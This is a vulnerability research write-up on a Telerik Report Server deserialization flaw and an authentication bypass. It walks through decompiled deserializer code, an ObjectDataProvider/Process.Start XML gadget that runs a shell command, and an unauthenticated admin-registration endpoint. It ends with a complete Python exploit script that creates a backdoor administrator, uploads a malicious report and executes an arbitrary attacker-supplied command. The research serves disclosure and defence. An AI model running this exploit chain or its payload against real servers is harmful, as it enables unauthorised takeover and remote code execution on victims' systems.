				if (!this.reader.IsEmptyElement)
				{
					this.reader.ReadStartElement();
				}
				string text;
				if (this.reader.NodeType == NodeType.Text && this.reader.Value.Length > 0)
				{
					text = this.reader.Value;
				}
				else
				{
					text = this.reader.Type;
				}
				if (text.Equals(base.Settings.NullString))
				{
					obj2 = null;
				}
				else if (ObjectReaderWriterBase.IsValidConverter(prop.Converter))
				{
					obj2 = this.ConvertFromString(prop.Converter, this.CreateTypeDescriptorContext(obj, prop), text);
				}
				else
				{
					obj2 = this.ReadValue(propType, text);
				}
				if (this.reader.NodeType == NodeType.Text)
				{
					this.reader.Read();
				}
				if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
				{
					this.reader.ReadEndXmlElement();
				}
			}
			if (obj2 != null && obj2.Equals(base.Settings.NullString))
			{
				obj2 = null;
			}
			prop.SetValue(obj, obj2);
		}


		private void ReadCollection(object collection)
		{
			if (!this.reader.IsEmptyElement)
			{
				this.reader.ReadStartCollection();
				int num = 0;
				while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
				{
					base.ResourceHandler.NamingContext.StartProperty(num.ToString());
					string type = this.reader.Type;
					object obj = this.ReadXmlElement(type);
					if (obj != null)
					{
						ObjectReader.AddItem(collection, obj);
					}
					else
					{
						this.reader.Read();
					}
					if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
					{
						this.reader.ReadEndXmlElement();
					}
					base.ResourceHandler.NamingContext.EndProperty();
					num++;
				}
				this.reader.ReadEndObjectCollection();
				return;
			}
			this.reader.Skip();
		}


		private static string ResolveElementName(string readerName)
		{
			string text;
			string text2;
			ObjectReader.ParseNsString(readerName, out text, out text2);
			return text2;
		}


		private static void ParseNsString(string nsString, out string prefix, out string localName)
		{
			prefix = string.Empty;
			localName = nsString;
			string[] array = nsString.Split(new char[] { ':' });
			if (array.Length == 2)
			{
				prefix = array[0];
				localName = array[1];
			}
		}


		private object ReadXmlElement(string name)
		{
			string text;
			string text2;
			ObjectReader.ParseNsString(name, out text, out text2);
			string text3 = this.reader.LookupNamespace(text);
			Type type = this.ResolveType(text3, text2);
			if (type != null)
			{
				return this.ReadObject(type);
			}
			type = Type.GetType(name);
			if (!(type == null))
			{
				return this.ReadPrimitive(type);
			}
			if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
			{
				return null;
			}
			throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
		}


		private static void AddItem(object col, object value)
		{
			col.GetType().GetMethod("Add", new Type[] { value.GetType() }).Invoke(col, new object[] { value });
		}


		private void SkipWhiteSpace()
		{
			while (this.reader.NodeType == NodeType.Whitespace)
			{
				this.reader.Read();
			}
		}


		private string GetNodeValue()
		{
			NodeType nodeType = this.reader.NodeType;
			if (nodeType == NodeType.Element)
			{
				return this.reader.ReadElementContentAsString();
			}
			if (nodeType - NodeType.Attribute <= 1)
			{
				return this.reader.ReadContentAsString();
			}
			return this.reader.Value;
		}


		private object ReadPrimitive(Type type)
		{
			string text = (this.reader.IsEmptyElement ? this.reader.LocalName : this.GetNodeValue());
			if (type.IsEnum)
			{
				return this.ConvertFromString(new EnumConverter(type), null, text);
			}
			if (typeof(IConvertible).IsAssignableFrom(type))
			{
				return ((IConvertible)text).ToType(type, base.Culture);
			}
			TypeConverter typeConverter = ObjectReaderWriterBase.GetTypeConverter(type);
			if (typeConverter != null)
			{
				return typeConverter.ConvertFromString(null, base.Culture, text);
			}
			throw new SerializerExcepion("Xml serializer cannot read primitive value: " + text);
		}


		protected override string GetPropertyName(string propName)
		{
			return ObjectReader.ResolveElementName(propName);
		}


		private readonly IReader reader;
	}
}

following is the implementation of the Telerik.Reporting.Serialization.ObjectReader.Deserialize(IResourceHandler) method

it expects one argument of IResourceHandler this is basically the ZipResourceHandler which was created before containing our malicious report file as ZIP with its entries. then the ReadXmlElement is called

public object Deserialize(IResourceHandler handler)
{
  base.ResourceHandler = handler;
  this.reader.Init();
  string defaultNamespace = this.GetDefaultNamespace();
  this.typeResolver = base.GetTypeResolver(defaultNamespace);
  ObjectReader.ValidateTypeResolver(this.typeResolver, defaultNamespace);
  return this.ReadXmlElement(this.reader.Type);
}

now its time to talk about the ReadXmlElement also known as Telerik.Reporting.Serialization.ObjectReader.ReadXmlElement(string)

private object ReadXmlElement(string name)
{
  string text;
  string text2;
  ObjectReader.ParseNsString(name, out text, out text2);
  string text3 = this.reader.LookupNamespace(text);
  Type type = this.ResolveType(text3, text2);
  if (type != null)
  {
    return this.ReadObject(type);
  }
  type = Type.GetType(name);
  if (!(type == null))
  {
    return this.ReadPrimitive(type);
  }
  if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
  {
    return null;
  }
  throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
}

Imagine we have the following xml

<?xml version="1.0" encoding="utf-8"?>
<Report Width="6.5in" Name="Report2" xmlns="http://schemas.telerik.com/reporting/2023/1.0">
  <Items>
    <PageHeaderSection Height="1in" Name="pageHeaderSection1" />
    <DetailSection Height="2in" Name="detailSection1">
      <Items>
        <TextBox Width="1.2in" Height="0.2in" Left="2.7in" Top="0.9in" Value="GOW" Name="textBox1" />
      </Items>
    </DetailSection>
    <PageFooterSection Height="1in" Name="pageFooterSection1" />
  </Items>
  <PageSettings PaperKind="Letter" Landscape="False" ColumnCount="1" ColumnSpacing="0in">
    <Margins>
      <MarginsU Left="1in" Right="1in" Top="1in" Bottom="1in" />
    </Margins>
  </PageSettings>
  <StyleSheet>
    <StyleRule>
      <Style>
        <Padding Left="2pt" Right="2pt" />
      </Style>
      <Selectors>
        <TypeSelector Type="TextItemBase" />
        <TypeSelector Type="HtmlTextBox" />
      </Selectors>
    </StyleRule>
  </StyleSheet>
</Report>

which is a report server report that has been serialized, it contains different elements each representing an actual Class Type that is going to be resolved using the TypeResolver that we’ve discussed before, now for each and everyone of these elements the ReadXmlElement is called passing the element name (e.g: Report, DetailSection, PageHeaderSection) so the ReadXmlElement can find its .NET Runtime Type. Now the eagle eye would notice the type variable which is a container of type System.Type being assigned at 2 places, first assignment is done via a call to this.ResolveType and in case a if condition fails, another assignment is tried by a call to Type.GetType(name); , you might be tricked here thinking that the latter is where you want to reach, but looking carefully you’ll notice if the second Type.GetType is executed and if the return value of isn’t equal to null then the ReadPrimitive is executed, as the name suggests and without tearing apart this method as well, I can tell you it only allows for primitive types and doesn’t assist in building a code execution gadget chain compared to the first type assignment which is followed by a ReadObject call which sounds more promising. so, our goal is, hitting the this.ResolveType

So, it’s time for us to dig into the internals of ResolveType

Boss Fight - Telerik.Reporting.Serialization.ObjectReader.ResolveType

Lets start with the most simple example, following creates a Report object

<?xml version="1.0" encoding="utf-8"?>
<Report Width="6.5in" Name="Report2" xmlns="http://schemas.telerik.com/reporting/2023/1.0">

question is, how does <Report> get resolved into a .NET Type or better say, the following type

Telerik.Reporting.ReportSerialization.Current.ReportSerializable`1[[Telerik.Reporting.Report, Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be]], Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be

this is what makes Telerik Report Server special, and it all begins at ResolveType AKA Telerik.Reporting.Serialization.ObjectReader.ResolveType

private Type ResolveType(string ns, string name)
{
  Type type;
  if (this.typeResolver.ResolveType(ns, name, out type))
  {
    return type;
  }
  return null;
}

when the telerik deserializer starts parsing any given serialized xml, it will invoke the ReadXmlElement over each element

private object ReadXmlElement(string name)
{
  string text;
  string text2;
  ObjectReader.ParseNsString(name, out text, out text2);
  string text3 = this.reader.LookupNamespace(text);
  Type type = this.ResolveType(text3, text2);
  if (type != null)
  {
    return this.ReadObject(type);
  }
  
  [..SNIP..]

and passes the element name and it’s xml-namespace value to the ResolveType function, for example, the above element name is Report and its xml-namespace AKA xmlns is http://schemas.telerik.com/reporting/2023/1.0 using these two values a System.Type is retireved, but, how can it find a type from only those two values? and how can we (ab)use other types?

well, here we face another abstraction layer, the this.ResolveType(text3, text2); actually makes a call to a function with the same name in ObjectReader and that one makes a call to a method with the same name in TypeResolver

typeresolver01

this method is very interesting, the mechanics of it are simple, first two arguments are used to retrieve a System.Type and the return value is stored in out Type type variable which is the 3rd argument. it will first calls the ResolveTypeCore , lets take a quick detour and analyze the ResolveTypeCore

public virtual bool ResolveType(string ns, string name, out Type type)
{
	if (this.ResolveTypeCore(ns, name, out type))
	{
		return true;
	}
	using (List<ResolveTypeDelegate>.Enumerator enumerator = this.resolveTypeDelegates.GetEnumerator())
	{
		while (enumerator.MoveNext())
		{
			ISerializationSurrogate serializationSurrogate;
			if (enumerator.Current(ns, name, out type, out serializationSurrogate))
			{
				this.RegisterDeserializationType(type, ns, name, false);
				this.RegisterDeserializationSurrogate(type, serializationSurrogate);
				return true;
			}
		}
	}
	if (this.parentResolver != null)
	{
		ns = this.MapLocalNamespaceToParentNamespace(ns);
		return this.parentResolver.ResolveType(ns, name, out type);
	}
	type = null;
	return false;
}

Its best to explain this method with a picture, it is very simple, the this.nameTypeMap which is a dictionary of type System.Collections.Generic.Dictionary<string, System.Collections.Generic.Dictionary<string, System.Type>> is accessed to find the corresponding Class Type that matches the given 2 needles, the string ns and string name

if you are thinking, how and when did this Dictionary got populated, if you remember, during the initialization of the telerik serializer/deserializer many class types were being registered for things like color, row, table, etc and they all got stored in this dictionary

reportsample

This is actually perfect, now we know how does telerik know the <Report> corresponds to:

Telerik.Reporting.ReportSerialization.Current.ReportSerializable`1[[Telerik.Reporting.Report, Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be]]

But, what about dangerous types? or better say, types that are useful for building a gadget, usually, for exploiting such xml serializer, we build a ResourceDictionary which contains one single resource that will be a ObjectDataProvider that also has its own important properties that are used for exploitation, here, have a look.

objectdataprovider

pretty powerful ha? if you don’t understand, don’t worry, I’ll explain. you see, this ObjectDataProvider class also known as System.Windows.Data.ObjectDataProvider has a property named ObjectInstance this property is of type System.Object which means, it can contain basically any .NET object, okay, what’s the big deal? well it also has another property named MethodName that can also be controlled, so a method name we control is executed against an object instance we control, now that’s “magic”, and here is how it can be (ab)used, an ObjectDataProvider with a MethodName set to Start that has it’s ObjectInstance property set to an instance of another object which is of type System.Diagnostics.Process that has its StartInfo property set to a malicious command we can execute, following is how it looks like in XML format:

<ODP:ObjectDataProvider MethodName="Start" >
				<ObjectInstance>
					<Diag:Process>
						<StartInfo>
							<Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
						</StartInfo>
					</Diag:Process>
				</ObjectInstance>
			</ODP:ObjectDataProvider>

but, wait a minute, the Telerik report server doesn’t understand <ODP:ObjectDataProvider> or any other element we’ve defined there, that’s exactly right, that’s why I’ve been explaining the whole process so far, the actual serialized payload that will work is the following, let me explain

<Report Width="6.5in" Name="oooo"
	xmlns="http://schemas.telerik.com/reporting/2023/1.0">
	<Items>
		<ResourceDictionary
			xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
			xmlns:System="clr-namespace:System;assembly:mscorlib"
			xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
			xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
			<ODP:ObjectDataProvider MethodName="Start" >
				<ObjectInstance>
					<Diag:Process>
						<StartInfo>
							<Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
						</StartInfo>
					</Diag:Process>
				</ObjectInstance>
			</ODP:ObjectDataProvider>
		</ResourceDictionary>
	</Items>

lets go back where we left, given 2 argument of string ns and string name the type was being retireved, and the ResolveTypeCore was being used containing the registered types, but, ResourceDictionary or ObjectDataProvider or its sinister sisters aren’t in that core dictionary, exactly, so if the ResolveTypeCore isn’t successful, our type is basically unknown to telerik report server, but this method doesn’t return, it actually gets help from someone else, introducing the one and only this.parentResolver

		public virtual bool ResolveType(string ns, string name, out Type type)
		{
			if (this.ResolveTypeCore(ns, name, out type))
			{
				return true;
			}
			using (List<ResolveTypeDelegate>.Enumerator enumerator = this.resolveTypeDelegates.GetEnumerator())
			{
				while (enumerator.MoveNext())
				{
					ISerializationSurrogate serializationSurrogate;
					if (enumerator.Current(ns, name, out type, out serializationSurrogate))
					{
						this.RegisterDeserializationType(type, ns, name, false);
						this.RegisterDeserializationSurrogate(type, serializationSurrogate);
						return true;
					}
				}
			}
			if (this.parentResolver != null)
			{
				ns = this.MapLocalNamespaceToParentNamespace(ns);
				return this.parentResolver.ResolveType(ns, name, out type);
			}
			type = null;
			return false;
		}

now, what is this.parentResolver ?

		if (this.parentResolver != null)
		{
			ns = this.MapLocalNamespaceToParentNamespace(ns);
			return this.parentResolver.ResolveType(ns, name, out type);
		}

well we said telerik devs refer to this type as a Unknown Type so they’ve decided for some god knows why to introduce another type resolver named UnknownTypeResolver so far this is how our call stack looks like when the deserializer reaches the ResourceDictionary element, pretty bad ha?

resolve-type-callstack

that means our type resolver tree now looks like this 02

okay, following is how this type resolver look like, it looks scary at first but fear not, it’s basically using another class named ClrNamespace and its calling a method of this class named Create

			public bool ResolveType(string ns, string name, out Type type)
			{
				ConcurrentDictionary<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> concurrentDictionary = this.namespaceMap;
				Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> func;
				if ((func = TypeResolvers.UnknownTypeResolver.<>O.<0>__Create) == null)
				{
					func = (TypeResolvers.UnknownTypeResolver.<>O.<0>__Create = new Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace>(TypeResolvers.UnknownTypeResolver.ClrNamespace.Create));
				}
				TypeResolvers.UnknownTypeResolver.ClrNamespace orAdd = concurrentDictionary.GetOrAdd(ns, func);
				type = orAdd.GetType(name);
				return type != null;
			}

clrnamespace

so what does Telerik.Reporting.ReportSerialization.TypeResolvers.UnknownTypeResolver.ClrNamespace.Create do? its best to show this in a debugger, given a namespace starting with the prefix clr-namespace: it will tokenized this string but splitting it first using ; and then calling GetToken on each side of the returned list, wait, what? where did you get the clr-namespace: from? Aha :) that’s what you should’ve been asking but you didn’t (or maybe you did), you see, this whole thing that we are trying to reverse engineer and understand is kind of inspired by exploiting the original Microsoft .NET XamlReader, basically the developers of Telerik took the code from there (I guess) and modified it, If you ever reverse engineered Microsoft XamlReader you’d recognize the clr-namespace prefix from there, but in this case, this can be anything and it doesn’t have to be that, as long as its a string that ends with : so the tokenize operation can succeed.

clrnamespace-create-method

and this is what GetToken does

				private static string GetToken(string name, int token)
				{
					return name.Split(new char[] { ':' })[token];
				}

so given the following clr-namespace

clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35

the following tokens are created

token	"System.Windows"
token2	"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"

the first token is the .NET Assembly name and the second token is the namespace of the class containing the ResourceDictionary type. the last statement in the ClrNamespace.Create() method makes a call to the constructor of TypeResolvers.UnknownTypeResolver.ClrNamespace and provides both tokens.

public static TypeResolvers.UnknownTypeResolver.ClrNamespace Create(string xmlNamespace)
{
	string[] array = xmlNamespace.Split(new char[] { ';' });
	if (array.Length < 2)
	{
		return TypeResolvers.UnknownTypeResolver.ClrNamespace.mscorlibNs;
	}
	string token = TypeResolvers.UnknownTypeResolver.ClrNamespace.GetToken(array[0], 1);
	string token2 = TypeResolvers.UnknownTypeResolver.ClrNamespace.GetToken(array[1], 1);
	return new TypeResolvers.UnknownTypeResolver.ClrNamespace(token, token2);
}

and this constructor simply sets two properties named AssemblyName and Namespace

public ClrNamespace(string clrNamespace, string assemblyName)
{
	if (clrNamespace == null)
	{
		throw new ArgumentNullException("clrNamespace");
	}
	this.AssemblyName = (string.IsNullOrEmpty(assemblyName) ? TypeResolvers.UnknownTypeResolver.ClrNamespace.mscorlibName : assemblyName);
	this.Namespace = clrNamespace;
}

why does it do such as thing you ask? that’s because when the ordAdd.GetType(name) is called at the end of this function, it causes the ClrNamespace.GetType() to get executed

			public bool ResolveType(string ns, string name, out Type type)
			{
				ConcurrentDictionary<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> concurrentDictionary = this.namespaceMap;
				Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> func;
				if ((func = TypeResolvers.UnknownTypeResolver.<>O.<0>__Create) == null)
				{
					func = (TypeResolvers.UnknownTypeResolver.<>O.<0>__Create = new Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace>(TypeResolvers.UnknownTypeResolver.ClrNamespace.Create));
				}
				TypeResolvers.UnknownTypeResolver.ClrNamespace orAdd = concurrentDictionary.GetOrAdd(ns, func);
				type = orAdd.GetType(name);
				return type != null;
			}

and when the ClrNamespace.GetType() is executed, something very interesting happens

				public Type GetType(string name)
				{
					return Type.GetType(this.GetAssemblyQualifiedTypeName(name));
				}


				public string GetAssemblyQualifiedTypeName(string name)
				{
					return string.Concat(new string[] { this.Namespace, ".", name, ",", this.AssemblyName });
				}

if given the type ResourceDictionary and xml name space of clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 this method will make use of the previously tokenized namespace to create a FQDN for the requested .NET Type, this is crazy!

System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35

So basically you can look at it this way too:

clrnamespace

this is all needed for .NET to load the .NET Assembly that holds the ResourceDictionary , so exactly when the ClrNameSpace is finished, it populates the func variable with the correct .net assembly that has the type we want and will make a call to ordAdd.GetType(name) and name is the ResourceDictionary

clrnamespace

what happens now? lets see what’s in the type variable

clrnamespace

That’s right, we’ve managed to load arbitrary .NET Types that were not included in the core expected types by telerik report server, now you should understand the following exploit.

first, a ResourceDictionary is defined, since this type causes the ResolveTypeCore to fail, the UnknownTypeResolver kicks in and reads the attacker provided xml namespace for the ResourceDictionary which isclr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 in order to find the coresponding .NET Assembly and extract the class type from it, the same process is used for the other used types that are later used to build the full gadget that yields arbitrary command execution.

<Report Width="6.5in" Name="oooo"
	xmlns="http://schemas.telerik.com/reporting/2023/1.0">
	<Items>
		<ResourceDictionary
			xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
			xmlns:System="clr-namespace:System;assembly:mscorlib"
			xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
			xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
			<ODP:ObjectDataProvider MethodName="Start" >
				<ObjectInstance>
					<Diag:Process>
						<StartInfo>
							<Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
						</StartInfo>
					</Diag:Process>
				</ObjectInstance>
			</ODP:ObjectDataProvider>
		</ResourceDictionary>
	</Items>

The smart reader notices, that we took many detours, and did not explain 1 very important thing, lets go back to the beginning of ReadXmlEelement

If you remember, we were supposed to hit the first ResolveType and cause it to return arbitrary type, for example a dangerous class type such as ResourceDictionary but we only covered “how a type can be resolved” but what about its usage? how does telerik report server use the resolved class type? that’s where this.ReadObject(type); comes to play, assume its invoked with the FQDN class type of ResourceDictionary

private object ReadXmlElement(string name)
		{
			string text;
			string text2;
			ObjectReader.ParseNsString(name, out text, out text2);
			string text3 = this.reader.LookupNamespace(text);
			Type type = this.ResolveType(text3, text2);
			if (type != null)
			{
				return this.ReadObject(type);
			}
			type = Type.GetType(name);
			if (!(type == null))
			{
				return this.ReadPrimitive(type);
			}
			if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
			{
				return null;
			}
			throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
		}

it will first make a call to TypeMapper.GetTypeMapping to understand if the given type is a Primitive or a Collection, because as you’ve already seen some elements can contain other element, those are called “Collection” and ResourceDictionary is a “Collection” that can contain other types, so, if that’s the case, the this.CreateInstance(type); is called to first create the “collection” it self and then the this.ReadCollection(obj); is called to create the nested objects that are supposed to go inside the created “Collection”

private object ReadObject(Type type)
		{
			TypeMapping typeMapping = TypeMapper.GetTypeMapping(type);
			this.OnDeserializing(type);
			object obj;
			if (typeMapping != TypeMapping.Primitive)
			{
				if (typeMapping == TypeMapping.Collection)
				{
					obj = this.CreateInstance(type);
					this.ReadCollection(obj);
				}
				else
				{
					obj = this.CreateInstance(type);
					bool flag = obj is INamedObject;
					if (flag)
					{
						base.ResourceHandler.NamingContext.StartComponent((INamedObject)obj);
					}
					this.ReadProperties(obj);
					if (flag)
					{
						base.ResourceHandler.NamingContext.EndComponent();
					}
				}
			}
			else
			{
				obj = this.ReadPrimitive(type);
			}
			object deserializedObject = this.GetDeserializedObject(obj);
			this.OnDeserialized(deserializedObject);
			return deserializedObject;
		}

Lets look at CreateInstance first and then we’ll look at ReadCollection

The mechanics of it is simple, it takes the type and calls Activator.CreateInstance to instantiate the type, and if you don’t know what does the second argument this.GetCtorParams(type) does, its simple, in .NET (and many other) when you want to instantiate a type using reflection like methods (Activator.CreateInstance in this case), you need to provide the the arguments as well, and Telerik has made GetCtorParams

		private object CreateInstance(Type type)
		{
			string text = null;
			if (this.reader.NodeType == NodeType.Element)
			{
				text = this.reader.GetAttribute("Name");
			}
			return this.CreateInstance(type, text);
		}


		protected virtual object CreateInstance(Type type, string name)
		{
			object obj;
			try
			{
				obj = Activator.CreateInstance(type, this.GetCtorParams(type));
			}
			catch (Exception ex)
			{
				throw new MissingMethodException(string.Format("Type: {0}", type), ex);
			}
			return obj;
		}

And again, this method uses reflection to retrieve the correct parameters for the requested type. Okay perfect, now that our “Collection” is ready, we can understand the ReadCollection which is responsible to TypeResolve and Add the nested objects inside the created collection.

As you can see from the following, elements are iterated, their types are resolved once again using ReadXmlEelement and added to our collection using ObjectReader.AddItem , simple :)

		private void ReadCollection(object collection)
		{
			if (!this.reader.IsEmptyElement)
			{
				this.reader.ReadStartCollection();
				int num = 0;
				while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
				{
					base.ResourceHandler.NamingContext.StartProperty(num.ToString());
					string type = this.reader.Type;
					object obj = this.ReadXmlElement(type);
					if (obj != null)
					{
						ObjectReader.AddItem(collection, obj);
					}
					else
					{
						this.reader.Read();
					}
					if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
					{
						this.reader.ReadEndXmlElement();
					}
					base.ResourceHandler.NamingContext.EndProperty();
					num++;
				}
				this.reader.ReadEndObjectCollection();
				return;
			}
			this.reader.Skip();
		}

At this point, you should have a full understanding of the internals and exploitation of Telerik Report Server Custom XmlSerializer.

Authentication Bypass

I’ve discovered this issue in 5 minutes after I finished setting up the software, The vulnerability is very simple, the endpoint which is responsible for setting up the server for the first time is accessible unauthenticated even after the admin has finished the setup process. this is not the first time something like this happens, just recently, ScreenConnect software of ConnectWise had “kind of” a similar issue. Now I’ve seen people trying to show off all mighty when a bug is so simple, but why? really, why? so here, this bug can be understood in 30 seconds or less.

The following method is where the vulnerability occurs

Telerik.ReportServer.Web.dll!Telerik.ReportServer.Web.Controllers.StartupController.Register

This method is available unauthenticated and will use the received parameters to create a user first, and then it will assign the “System Administrator” role to the user, this allows a remote unauthenticated attacker to create an administrator user and login :))))))

		public async Task<ActionResult> Register(RegisterViewModel model)
		{
			if (this.ModelState.IsValid)
			{
				ApplicationUser applicationUser = new ApplicationUser
				{
					Username = model.Username,
					Email = model.Email,
					FirstName = model.FirstName,
					LastName = model.LastName,
					Enabled = true
				};
				IdentityResult result = this.UserManager.Create(applicationUser, model.Password);
				if (result.Succeeded)
				{
					new ReportServerDefaultConfigurationConfigurator(this.ReportServer).Configure();
					new ReportServerBuiltInRolesConfigurator(this.ReportServer).Configure();
					new ReportServerSamplesConfigurator(this.ReportServer).Configure(applicationUser);
					this.UserManager.AddToRole(applicationUser.Id, "System Administrator");
					await this.SignInManager.SignInAsync(applicationUser, false, false);
					return this.RedirectToAction("Index", "Report");
				}
				AccountController.AddErrors(this.ModelState, result);
				result = null;
			}
			

This is the result, admin was already there, but due to the fact that there is no check to prevent accessing this endpoint (or even putting authentication on it, lolz) after the setup has finished, I’ve exploited this logic/access-control issue to create the “hacker” account.

Now that the authentication is bypassed, its possible to trigger the post authentication deserialization primitive to achieve a Full Chain RCE.

Proof of Concept (https://github.com/sinsinology/CVE-2024-4358)


"""
Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
"""
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import zipfile
import base64
import random
import argparse



def saveCredentials(username, password):
    print
    with open('credentials.txt', 'a') as file:
        print("(+) Saving credentials to credentials.txt")
        file.write(f'(*) {args.target} {username}:{password}\n')

def authBypassExploit(username, password):
    print("(*) Attempting to bypass authentication")
    res = s.post(f"{args.target}/Startup/Register", data={"Username": username, "Password": password, "ConfirmPassword": password, "Email": f"{username}@{username}.com", "FirstName": username, "LastName": username})
    
    if(res.url == f"{args.target}/Report/Index"):
        print("(+) Authentication bypass was successful, backdoor account created")
        saveCredentials(username, password)

    else:
        print("(!) Authentication bypass failed, result was: ")
        print(res.text)
        exit(1)
    


def deserializationExploit(serializedPayload, authorizationToken):
    reportName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
    print(f"(*) Generated random report name: {reportName}")
    categoryName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
    print(f"(*) Creating malicious report under name {reportName}")
    res = s.post(f"{args.target}/api/reportserver/report", headers={"Authorization" : f"Bearer {authorizationToken}"}, json={"reportName":reportName,"categoryName":"Samples","description":None,"reportContent":serializedPayload,"extension":".trdp"})
    if(res.status_code != 200):
        print("(!) Report creation failed, result was: ")
        print(res.text)
        exit(1)
        
    res = s.post(f"{args.target}/api/reports/clients", json={"timeStamp":None})
    if(res.status_code != 200):
        print("(!) Fetching clientID failed, result was: ")
        print(res.text)
        exit(1)
    clientID = res.json()['clientId']
    
    
    
    res = s.post(f"{args.target}/api/reports/clients/{clientID}/parameters", json={"report":f"NAME/Samples/{reportName}/","parameterValues":{}})
    print("(*) Deserialization exploit finished")

def login(username, password):
    res = s.post(f"{args.target}/Token",data={"grant_type": "password","username":username, "password": password})
    if(res.status_code != 200):
        print("(!) Authentication failed, result was: ")
        print(res.text)
        exit(1)
    
    print(f"(+) Successfully authenticated as {username} with password {password}")
    print("(*) got token: " + res.json()['access_token'])
    return res.json()['access_token']



def readAndEncode(file_path):
    with open(file_path, 'rb') as file:
        encoded = base64.b64encode(file.read()).decode('utf-8')
    return encoded


def writePayload(payload_name):

    with zipfile.ZipFile(output_filename, 'w') as zipf:
        zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')
        
        zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
	xmlns="http://schemas.telerik.com/reporting/2023/1.0">
	<Items>
		<ResourceDictionary
			xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
			xmlns:System="clr-namespace:System;assembly:mscorlib"
			xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
			xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
			<ODP:ObjectDataProvider MethodName="Start" >
				<ObjectInstance>
					<Diag:Process>
						<StartInfo>
							<Diag:ProcessStartInfo FileName="cmd" Arguments="/c {args.command}"></Diag:ProcessStartInfo>
						</StartInfo>
					</Diag:Process>
				</ObjectInstance>
			</ODP:ObjectDataProvider>
		</ResourceDictionary>
	</Items>''')



def banner():
    print('''(^_^) Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)''')


output_filename = 'exploit.trdp'


banner()



parser = argparse.ArgumentParser(usage=r'python CVE-2024-4358.py --target http://192.168.1.1:83 -c "whoami > C:\pwned.txt"')
parser.add_argument('--target', '-t', dest='target', help='Target IP and port (e.g: http://192.168.1.1:83)', required=True)
parser.add_argument('--command', '-c', dest='command', help='Command to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')



s = requests.Session()
s.verify = False

randomUsername = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
randomPassword = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print("(*) random backdoor username: " + randomUsername)
print("(*) random backdoor password: " + randomPassword)
authBypassExploit(randomUsername, randomPassword)
authorizationToken = login(randomUsername, randomPassword)

writePayload(output_filename)
deserializationExploit(readAndEncode(output_filename).strip(), authorizationToken)

ZERO DAY INITIATIVE

